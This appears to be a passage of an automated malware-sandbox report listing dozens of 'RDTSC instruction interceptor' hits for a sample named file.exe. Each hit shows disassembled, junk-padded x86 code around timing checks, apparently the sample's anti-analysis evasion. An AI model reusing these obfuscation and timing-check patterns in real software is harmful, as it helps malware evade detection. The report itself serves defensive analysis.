Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726B05 second address: 726B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop eax 0x00000007 push esi 0x00000008 jmp 00007FF34D3F6AFAh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726B19 second address: 726B3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 jl 00007FF34C7875C6h 0x0000000c jmp 00007FF34C7875D2h 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726B3E second address: 726B42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726B42 second address: 726B65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726B65 second address: 726B6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726B6B second address: 726B70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726B70 second address: 726B86 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FF34D3F6AFCh 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007FF34D3F6AF6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726B86 second address: 726B8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726E02 second address: 726E0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 726E0D second address: 726E2D instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF34C7875C6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF34C7875D0h 0x00000013 push eax 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727780 second address: 727784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A34D second address: 72A351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A56B second address: 72A590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF34D3F6AF6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jmp 00007FF34D3F6AFEh 0x00000015 jc 00007FF34D3F6AF6h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A590 second address: 72A609 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 sbb dx, C321h 0x0000000e mov dword ptr [ebp+122D2288h], ecx 0x00000014 push 00000004h 0x00000016 push 00000000h 0x00000018 push edi 0x00000019 call 00007FF34C7875C8h 0x0000001e pop edi 0x0000001f mov dword ptr [esp+04h], edi 0x00000023 add dword ptr [esp+04h], 00000018h 0x0000002b inc edi 0x0000002c push edi 0x0000002d ret 0x0000002e pop edi 0x0000002f ret 0x00000030 call 00007FF34C7875C9h 0x00000035 push eax 0x00000036 push edx 0x00000037 push edx 0x00000038 pop edx 0x00000039 pop edx 0x0000003a pop eax 0x0000003b push eax 0x0000003c jmp 00007FF34C7875CDh 0x00000041 mov eax, dword ptr [esp+04h] 0x00000045 pushad 0x00000046 jmp 00007FF34C7875D9h 0x0000004b push eax 0x0000004c push edx 0x0000004d je 00007FF34C7875C6h 0x00000053 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A609 second address: 72A648 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c jp 00007FF34D3F6B0Fh 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 pushad 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72A8CC second address: 72A8D6 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF34C7875CCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D4C3 second address: 72D4CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D4CC second address: 72D4D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72D4D1 second address: 72D4D6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F5DB second address: 72F5E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F5E4 second address: 72F5E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0EFC second address: 48C0F32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FF34C7875D3h 0x00000011 jmp 00007FF34C7875D3h 0x00000016 popfd 0x00000017 push eax 0x00000018 pop ebx 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0F32 second address: 48C0F38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0F38 second address: 48C0F86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov ax, 09CFh 0x0000000e pushfd 0x0000000f jmp 00007FF34C7875D4h 0x00000014 and eax, 38747078h 0x0000001a jmp 00007FF34C7875CBh 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FF34C7875D5h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0E70 second address: 48B0E83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6AFFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0E83 second address: 48B0E88 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0E88 second address: 48B0E8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0E8E second address: 48B0E9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0E9C second address: 48B0EA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0EA0 second address: 48B0EA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0EA6 second address: 48B0ED8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FF34D3F6B07h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0ED8 second address: 48B0EDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0EDE second address: 48B0F05 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6AFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FF34D3F6B00h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0F05 second address: 48B0F14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4900587 second address: 490059D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF34D3F6B00h 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490059D second address: 4900616 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push esi 0x00000008 jmp 00007FF34C7875CCh 0x0000000d mov dword ptr [esp], ebp 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FF34C7875CEh 0x00000017 sbb cx, FAC8h 0x0000001c jmp 00007FF34C7875CBh 0x00000021 popfd 0x00000022 popad 0x00000023 mov ebp, esp 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007FF34C7875D7h 0x0000002e adc eax, 397E21BEh 0x00000034 jmp 00007FF34C7875D9h 0x00000039 popfd 0x0000003a push esi 0x0000003b pop edi 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48900DF second address: 4890128 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF34D3F6B07h 0x00000009 jmp 00007FF34D3F6B03h 0x0000000e popfd 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FF34D3F6B02h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890128 second address: 489012E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 489012E second address: 4890132 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4890132 second address: 48901BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov dl, B6h 0x0000000c movzx ecx, dx 0x0000000f popad 0x00000010 mov ebp, esp 0x00000012 jmp 00007FF34C7875D3h 0x00000017 push dword ptr [ebp+04h] 0x0000001a jmp 00007FF34C7875D6h 0x0000001f push dword ptr [ebp+0Ch] 0x00000022 pushad 0x00000023 jmp 00007FF34C7875CEh 0x00000028 pushfd 0x00000029 jmp 00007FF34C7875D2h 0x0000002e or ch, 00000068h 0x00000031 jmp 00007FF34C7875CBh 0x00000036 popfd 0x00000037 popad 0x00000038 push dword ptr [ebp+08h] 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007FF34C7875D5h 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0BCC second address: 48B0BD2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0BD2 second address: 48B0BE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF34C7875CDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0BE3 second address: 48B0C6A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FF34D3F6B06h 0x00000011 or eax, 61171EC8h 0x00000017 jmp 00007FF34D3F6AFBh 0x0000001c popfd 0x0000001d call 00007FF34D3F6B08h 0x00000022 pop esi 0x00000023 popad 0x00000024 mov bh, 3Fh 0x00000026 popad 0x00000027 mov dword ptr [esp], ebp 0x0000002a pushad 0x0000002b jmp 00007FF34D3F6B08h 0x00000030 movzx ecx, dx 0x00000033 popad 0x00000034 mov ebp, esp 0x00000036 jmp 00007FF34D3F6AFDh 0x0000003b pop ebp 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f movzx esi, di 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0826 second address: 48B0863 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cl, 40h 0x00000006 popad 0x00000007 popad 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ecx, 6707326Fh 0x00000011 pushfd 0x00000012 jmp 00007FF34C7875D4h 0x00000017 jmp 00007FF34C7875D5h 0x0000001c popfd 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0703 second address: 48B0777 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FF34D3F6AFFh 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007FF34D3F6B09h 0x0000000f adc cx, DA86h 0x00000014 jmp 00007FF34D3F6B01h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push eax 0x0000001e jmp 00007FF34D3F6B01h 0x00000023 xchg eax, ebp 0x00000024 jmp 00007FF34D3F6AFEh 0x00000029 mov ebp, esp 0x0000002b pushad 0x0000002c mov edi, esi 0x0000002e push eax 0x0000002f push edx 0x00000030 mov esi, 48AAD90Fh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0777 second address: 48B0788 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ebp 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b mov dh, EFh 0x0000000d mov di, cx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0788 second address: 48B078E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B078E second address: 48B0792 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0792 second address: 48B0796 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0491 second address: 48B0495 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B0495 second address: 48B049B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B049B second address: 48B04F0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FF34C7875D5h 0x00000009 sub ecx, 5F5539D6h 0x0000000f jmp 00007FF34C7875D1h 0x00000014 popfd 0x00000015 mov esi, 3D61B147h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FF34C7875D9h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0344 second address: 48C034A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C034A second address: 48C03B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bh, cl 0x00000005 pushfd 0x00000006 jmp 00007FF34C7875D7h 0x0000000b and ah, 0000002Eh 0x0000000e jmp 00007FF34C7875D9h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 pushad 0x00000019 mov ebx, ecx 0x0000001b mov eax, 605685AFh 0x00000020 popad 0x00000021 push eax 0x00000022 pushad 0x00000023 mov ax, bx 0x00000026 call 00007FF34C7875D7h 0x0000002b mov di, si 0x0000002e pop esi 0x0000002f popad 0x00000030 xchg eax, ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C03B9 second address: 48C03BD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C03BD second address: 48C03C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49004B3 second address: 490053D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B08h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov si, 0EB1h 0x0000000d popad 0x0000000e xchg eax, ebp 0x0000000f jmp 00007FF34D3F6AFCh 0x00000014 push eax 0x00000015 pushad 0x00000016 jmp 00007FF34D3F6B01h 0x0000001b movzx eax, dx 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FF34D3F6B04h 0x00000029 sub esi, 0EB0B218h 0x0000002f jmp 00007FF34D3F6AFBh 0x00000034 popfd 0x00000035 call 00007FF34D3F6B08h 0x0000003a pop ecx 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 490053D second address: 4900560 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 01D50290h 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d jmp 00007FF34C7875CFh 0x00000012 pop ebp 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4900560 second address: 4900566 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D02E0 second address: 48D031F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF34C7875D1h 0x0000000f xchg eax, ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FF34C7875CDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D031F second address: 48D0362 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34D3F6B01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov dl, ch 0x0000000e mov cx, bx 0x00000011 popad 0x00000012 mov eax, dword ptr [ebp+08h] 0x00000015 jmp 00007FF34D3F6AFBh 0x0000001a and dword ptr [eax], 00000000h 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FF34D3F6B00h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0362 second address: 48D0368 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0368 second address: 48D036E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D036E second address: 48D0397 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [eax+04h], 00000000h 0x0000000c pushad 0x0000000d jmp 00007FF34C7875D2h 0x00000012 mov edi, esi 0x00000014 popad 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push edx 0x0000001a pop esi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B069F second address: 48B06A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B06A5 second address: 48B06A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48B06A9 second address: 48B06AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0EBB second address: 48C0EBF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48C0EBF second address: 48C0EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D0157 second address: 48D015D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48D015D second address: 48D0161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F07F7 second address: 48F0854 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 pushfd 0x00000007 jmp 00007FF34C7875D8h 0x0000000c sbb si, FBA8h 0x00000011 jmp 00007FF34C7875CBh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c call 00007FF34C7875D4h 0x00000021 mov di, si 0x00000024 pop eax 0x00000025 push eax 0x00000026 push edx 0x00000027 call 00007FF34C7875CDh 0x0000002c pop ecx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F0854 second address: 48F087A instructions: 0x00000000 rdtsc 0x00000002 mov ebx, 6AC7E0E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FF34D3F6B09h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F087A second address: 48F08CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov bx, ax 0x0000000e mov ebx, esi 0x00000010 popad 0x00000011 mov ebp, esp 0x00000013 jmp 00007FF34C7875D2h 0x00000018 xchg eax, ecx 0x00000019 jmp 00007FF34C7875D0h 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FF34C7875CEh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F08CD second address: 48F08DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF34D3F6AFEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F08DF second address: 48F096B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF34C7875CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c pushad 0x0000000d call 00007FF34C7875CBh 0x00000012 pushfd 0x00000013 jmp 00007FF34C7875D8h 0x00000018 sbb esi, 03078C48h 0x0000001e jmp 00007FF34C7875CBh 0x00000023 popfd 0x00000024 pop eax 0x00000025 popad 0x00000026 mov eax, dword ptr [76FA65FCh] 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007FF34C7875D7h 0x00000034 xor eax, 1858BF3Eh 0x0000003a jmp 00007FF34C7875D9h 0x0000003f popfd 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48F096B second address: 48F0987 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FF34D3F6B07h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
